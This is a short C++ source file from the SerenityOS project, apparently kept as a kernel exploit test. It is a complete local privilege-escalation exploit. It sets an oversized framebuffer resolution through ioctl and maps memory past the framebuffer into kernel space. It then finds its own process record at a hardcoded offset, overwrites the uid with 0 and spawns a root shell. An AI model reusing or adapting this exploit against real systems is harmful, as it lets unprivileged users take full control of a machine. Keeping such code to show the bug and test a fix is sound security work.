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/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/dev/fb0", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
size_t width = 17825;
size_t height = 1000;
size_t pitch = width * 4;
size_t framebuffer_size_in_bytes = pitch * height * 2;
FBHeadProperties original_properties;
original_properties.head_index = 0;
if (ioctl(fd, FB_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
perror("ioctl");
return 1;
}
FBHeadResolution resolution;
resolution.head_index = 0;
resolution.width = width;
resolution.height = height;
resolution.pitch = pitch;
if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
perror("ioctl");
return 1;
}
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Success! Evil pointer: %p\n", ptr);
u8* base = &ptr[128 * MiB];
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
printf("base = %p\n", base);
printf("g_processes = %p\n", (void*)g_processes);
auto get_ptr = [&](uintptr_t value) -> void* {
value -= 0xc0000000;
return (void*)&base[value];
};
struct ProcessList {
uintptr_t head;
uintptr_t tail;
};
struct Process {
// 32 next
// 40 pid
// 44 uid
u8 dummy[32];
uintptr_t next;
u8 dummy2[4];
pid_t pid;
uid_t uid;
};
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
Process* process = (Process*)get_ptr(process_list->head);
printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
if (process->pid == getpid()) {
printf("That's me! Let's become r00t!\n");
process->uid = 0;
}
FBHeadResolution original_resolution;
original_resolution.head_index = 0;
original_resolution.width = original_properties.width;
original_resolution.height = original_properties.height;
original_resolution.pitch = original_properties.pitch;
if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
execl("/bin/sh", "sh", nullptr);
return 0;
}
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